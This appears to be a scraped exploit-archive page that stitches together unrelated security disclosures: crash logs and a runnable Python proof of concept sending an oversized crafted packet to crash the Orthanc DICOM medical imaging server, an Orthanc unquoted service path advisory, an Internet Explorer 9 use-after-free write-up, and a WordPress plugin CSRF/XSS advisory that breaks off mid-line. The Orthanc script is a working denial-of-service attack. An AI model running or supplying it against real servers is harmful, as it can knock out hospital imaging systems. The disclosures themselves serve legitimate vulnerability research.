# ==5299== by 0x56B440: ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned long*, bool, DUL_BLOCKOPTIONS, int) (assoc.cc:1752)
# ==5299== by 0x4494B5: Orthanc::Internals::AcceptAssociation(Orthanc::DicomServer const&, T_ASC_Network*) (CommandDispatcher.cpp:439)
# ==5299== by 0x42D010: Orthanc::DicomServer::ServerThread(Orthanc::DicomServer*) (DicomServer.cpp:69)
# ==5299== by 0x43198B: void boost::_bi::list1 >::operator()(boost::_bi::type, void (*&)
#
# -------------------------------------------------------------------------------
#
# (47fc.40cc): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
# eax=000000ce ebx=ffffc99c ecx=0074ae50 edx=013e3060 esi=018cf094 edi=010090ab
# eip=0136c910 esp=0389eca8 ebp=0389ece8 iopl=0 nv up ei ng nz na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
# Orthanc+0xfc910:
# 0136c910 8a07 mov al,byte ptr [edi] ds:002b:010090ab=??
#
# -------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Microsoft Windows 7 Ultimate SP1 (EN)
# Ubuntu Linux/14.04.5
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2016-5380
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5380.php
#
# Vendor: https://bitbucket.org/sjodogne/orthanc/commits/6ac6193a7935865db07d3d81c627c84de7557ce0?at=default
# https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default
#
# OFFIS e.V.: https://github.com/commontk/DCMTK/commit/1b6bb76
#
#
# 22.11.2016
#

import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
'\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
'\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
print '\nUsage: ' +sys.argv[0]+ ' '
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close

Orthanc DICOM Server 1.1.0 Unquoted Service Path Privilege Escalation

Orthanc DICOM Server 1.1.0 Unquoted Service Path Privilege Escalation

Vendor: SA(c)bastien Jodogne
Product web page: http://www.orthanc-server.com
Affected version: 1.1.0

Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server
for healthcare and medical research with an ubiquitous web interface that
enables you to upload, receive and transfer DICOM images. It comes with
a REST API to automate imaging flows and an SDK to integrate with native
applications.

Desc: The application suffers from an unquoted search path issue impacting the
service ‘orthanc’ for Windows deployed as part of Orthanc DICOM server solution.
This could potentially allow an authorized but non-privileged local user to execute
arbitrary code with elevated privileges on the system. A successful attempt would
require the local user to be able to insert their code in the system root path
undetected by the OS or other security applications where it could potentially be
executed during application startup or reboot. If successful, the local useras code
would execute with the elevated privileges of the application.

Tested on: Microsoft Windows 7 Professional SP1 (EN)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2016-5379
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5379.php

Vendor: https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default

22.11.2016

C:\>sc qc orthanc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: orthanc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Orthanc\Orthanc Server 1.1.0\OrthancService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Orthanc
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

Microsoft Internet Explorer 9 IEFRAME CView::EnsureSize Use-After-Free

Since November I have been releasing details on all vulnerabilities I
found that I have not released before. This is the 34th entry in the
series. This information is available in more detail on my blog at
http://blog.skylined.nl/20161216001.html. There you can find a repro
that triggered this issue in addition to the information below.

If you find these releases useful, and would like to help me make time
to continue releasing this kind of information, you can make a donation
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.

Follow me on http://twitter.com/berendjanwever for daily browser bugs.

MSIE 9 IEFRAME CView::EnsureSize use-after-free
===============================================
(MS13-021, CVE-2013-0090)

Synopsis
——–
A specially crafted web-page can trigger a use-after-free vulnerability
in Microsoft Internet Explorer 9. I did not investigate this
vulnerability thoroughly, so I cannot speculate on the potential impact
or exploitability.

Known affected software and attack vectors
——————————————
* Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially
crafted web-page. Disabling JavaScript should prevent an attacker
from triggering the vulnerable code path.

Details
——-
This bug was found back when I had very little knowledge and tools to do
analysis on use-after-free bugs, so I have no details to share. ZDI
revealed that this was a use-after-free vulnerability in their advisory
at http://www.zerodayinitiative.com/advisories/ZDI-13-097/.

Time-line
———
* Sometime in October 2012: This vulnerability was found through
fuzzing.
* 29 October 2012: This vulnerability was submitted to EIP.
* 27 November 2013: This vulnerability was rejected by EIP.
* 14 January 2013: This vulnerability was submitted to ZDI.
* 6 February 2013: This vulnerability was acquired by ZDI.
* 13 February 2013: This vulnerability was disclosed to Microsoft by
ZDI.
* 29 May 2013: This vulnerability was address by Microsoft in MS13-021.
* 14 December 2016: Details of this vulnerability are released.

Cheers,

SkyLined

Repro.html












WordPress Quiz And Survey Master 4.7.8 / 4.5.4 XSS / CSRF

Details
================
Software: Quiz And Survey Master (Formerly Quiz Master Next)
Version: 4.5.4,4.7.8
Homepage: https://wordpress.org/plugins/quiz-master-next/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-quiz-and-survey-master-formerly-quiz-master-next-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/stored XSS in Quiz And Survey Master (Formerly Quiz Master Next) allows unauthenticated attackers to do almost anything an admin can

Vulnerability
================
A CSRFA vulnerabilityA allows an unauthenticated attacker to add questions to existing quizzes.
The question_name parameter is put into a manually-constructed JavaScript objectA and escaped with esc_js() (php/qmn_options_questions_tab.php line 499). If the user (or attacker) creates a new question on a quizA containingA aa in the question_name field then aquestion: aa,a will get outputA inside the JS object. All good so far.
However, inA js/admin_question.js on line 205, we see this line, as part of some JS-generated HTML:
jQuery(\’